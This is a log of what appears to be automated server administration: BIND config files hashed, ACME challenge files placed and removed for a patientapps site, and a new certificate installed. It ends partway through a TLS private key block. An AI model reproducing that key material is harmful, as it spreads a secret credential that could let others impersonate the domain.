L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2025-10-09 11:32:55: Establishing a connection
2025-10-09 11:44:13: Establishing a connection
2025-10-09 11:44:14: 

PUT: /tmp/pkp141690

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2025-10-09 11:44:14: 

runuser -l bind -s /bin/bash -c '/tmp/pkp141690; rm /tmp/pkp141690'

2025-10-09 11:44:14: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 3c9f578a7815e351234f218aeab7cca5
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= a3d92972abbb369edf3baf47c3e33e8b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= f90b48a7c1061822ec2b4beef20285a3
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 8aba258068c8c60a7ade3952a285f57d
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2025-10-09 11:44:24: Establishing a connection
2025-10-09 11:44:24: Establishing a connection
2025-10-09 11:44:24: 

PUT: /tmp/pkp889483

#!/bin/bash
if [ -d "/var/www/patientapps_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-10-09 11:44:24: 

chmod 755 /tmp/pkp889483; /tmp/pkp889483; rm /tmp/pkp889483

2025-10-09 11:44:24: 


1


2025-10-09 11:44:26: Establishing a connection
2025-10-09 11:44:26: 

PUT: /tmp/pkp791241

#!/bin/bash
mkdir -p "/var/www/patientapps_www/.well-known/acme-challenge/"
cd "/var/www/patientapps_www/.well-known/acme-challenge/"
cat > 0H_JcFnX1CY7hQ2CosYCa70mofF4sUEXTNybkabY4r4 <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
0H_JcFnX1CY7hQ2CosYCa70mofF4sUEXTNybkabY4r4.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 0H_JcFnX1CY7hQ2CosYCa70mofF4sUEXTNybkabY4r4
cat > rFVYejFGSkwgjccW5GsJ2cpVdjfJYPNwLw_XSncCRto <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
rFVYejFGSkwgjccW5GsJ2cpVdjfJYPNwLw_XSncCRto.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 rFVYejFGSkwgjccW5GsJ2cpVdjfJYPNwLw_XSncCRto


2025-10-09 11:44:26: 

chmod 755 /tmp/pkp791241; /tmp/pkp791241; rm /tmp/pkp791241

2025-10-09 11:44:26: 




2025-10-09 11:44:32: Establishing a connection
2025-10-09 11:44:32: 

PUT: /tmp/pkp757714

#!/bin/bash
mkdir -p "/var/www/patientapps_www/.well-known/acme-challenge/"
cd "/var/www/patientapps_www/.well-known/acme-challenge/"
rm 0H_JcFnX1CY7hQ2CosYCa70mofF4sUEXTNybkabY4r4
rm rFVYejFGSkwgjccW5GsJ2cpVdjfJYPNwLw_XSncCRto


2025-10-09 11:44:32: 

chmod 755 /tmp/pkp757714; /tmp/pkp757714; rm /tmp/pkp757714

2025-10-09 11:44:32: 




2025-10-09 11:44:32: Establishing a connection
2025-10-09 11:44:32: 

PUT: /tmp/pkp868365

#!/bin/bash
temp_file=$(mktemp)
TARGET=8f796e4f4515bc3385e2df3b120b1cc8.crt

cat > $temp_file <<'endmsg'
71:e0:34:8a:ad:27:e5:3d:9e:84:8e:5a:7e:38:3a:dd

-----BEGIN CERTIFICATE-----
MIIFDTCCA/WgAwIBAgISBn/Z2BBkz5S7wtdYCjacgJBCMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMDA5MTA0NjAxWhcNMjYwMTA3MTA0NjAwWjAaMRgwFgYDVQQD
Ew9wYXRpZW50YXBwcy5uZXQwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIB
AQCybVMm17ecDb1x2k90H7ApXRlYQsVexjsiumSp4yPSpFQVbKvNNrb0ERpsfxhT
sZPKR1hH1dbW5c61zPN4w8Z9VpdHvMFV+J7HsnPVvyHLshH+8xrkSs5N9AxGH0hJ
ZxLyW7HFm4voIOXEVchtVoz7RQ3PB3owZnKd9A/iTD2ysqbNx7XW1B5EVBpyw5f0
z/Jq7ZLK+PqCd2RrszUg/q5IC3e3zflgUv/3W4uNuu04+mMe9j/TbQtnwWVZ6gf2
MDiH2doYq2cymuys30FL4jGxC0JlrBGr6uqMG7uoGKPH+IPGy9Xxt0m8kJGJjrpv
CiFYSumk4EFAYjyK0EDZjB55AgMBAAGjggIyMIICLjAOBgNVHQ8BAf8EBAMCBaAw
HQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAwHQYD
VR0OBBYEFItGU6iAxe2jDiLLQ+bYKm5QymKiMB8GA1UdIwQYMBaAFOernw8sM6BT
015PeMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDov
L3IxMy5pLmxlbmNyLm9yZy8wLwYDVR0RBCgwJoIPcGF0aWVudGFwcHMubmV0ghN3
d3cucGF0aWVudGFwcHMubmV0MBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQn
MCUwI6AhoB+GHWh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvNjcuY3JsMIIBAgYKKwYB
BAHWeQIEAgSB8wSB8ADuAHUAyzj3FYl8hKFEX1vB3fvJbvKaWc1HCmkFhbDLFMMU
WOcAAAGZyMl67wAABAMARjBEAiAqrI21y6UAledNDAkFqvKCnvkYm1oLX2szJ4Y+
7y3M/AIgNxa9X/OlvoaMSIGFxhRti10y2So1I7Mh06ipv663aMwAdQCWl2S/VViX
rfdDh2g3CEJ36fA61fak8zZuRqQ/D8qpxgAAAZnIyXsnAAAEAwBGMEQCID87Gx9Q
2c5DcdLYmV2OaguRukVXp2cRraeVyuM19UqVAiBvGz62+lXJ/MkyCtryZBtmHK6D
xJWAy9X483SAgrDsCjANBgkqhkiG9w0BAQsFAAOCAQEAew9rungjdlePgQSMx7vn
Ndhav4uIiQY9D30vCg1Nbeyc96w2bL1HSfJV7OONQKkurEPSFKpOyBR1DBFZQ/Pm
aIZhxO2rsOZIcb6z6DKGFGHIw+0tMnGSpEP2eAyqBTU9WzeU3GeLFMPCVQ9k4jZ0
4EUbIM8fvPzfvVRPOslRRJ+QaPH27c9EvkFIYlyOpqkl1m2nXTzWjJECZcaQSEtW
bC5hMqb7LtLgDtOhXb04bLJZsLdj5R1P1ubPVN7LrwuG+d8rFRMf90yVY5ys+nNs
thacCchYfsM0U+PvF1XAQ/snIwEMA3fZBRjkFV6pa0Uge0ELZaHyUOs+gdjojcDX
QQ==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCybVMm17ecDb1x
2k90H7ApXRlYQsVexjsiumSp4yPSpFQVbKvNNrb0ERpsfxhTsZPKR1hH1dbW5c61
zPN4w8Z9VpdHvMFV+J7HsnPVvyHLshH+8xrkSs5N9AxGH0hJZxLyW7HFm4voIOXE
VchtVoz7RQ3PB3owZnKd9A/iTD2ysqbNx7XW1B5EVBpyw5f0z/Jq7ZLK+PqCd2Rr
szUg/q5IC3e3zflgUv/3W4uNuu04+mMe9j/TbQtnwWVZ6gf2MDiH2doYq2cymuys
30FL4jGxC0JlrBGr6uqMG7uoGKPH+IPGy9Xxt0m8kJGJjrpvCiFYSumk4EFAYjyK
0EDZjB55AgMBAAECggEAfejF38gkClxrzjb3EIP4BQhshSsBKmMKgfQ0auodclyB
9WhtR/APZOXY1q1NVmoeV4THGFIfPCCJISOSwCqvG+2J7ZaWe/to2JTmRvSMfbiY
GGgnFuhu8vV/38/da+bvqNTp+v9L2C+21DiQqg+Ehx/woaKuKA9zXGFJADE67KkV
CutWBhGLvERA1ZZe/j10qdFdjcPZUxD5jMdRWFPyc0KRmCejJwgcxq/L2tdjv3dK
D2JPApAtlmVfKqDeBvUrxr3A67c1ECNTthE+Nls2OmYhiqxMoLeb9L0cgufE1WBF
zgBYFXYOVSJIxIm3PLCBAMTmWg4fd9WSHI+9ZNKYPQKBgQDiNe9vO8D7mrR/lTH/
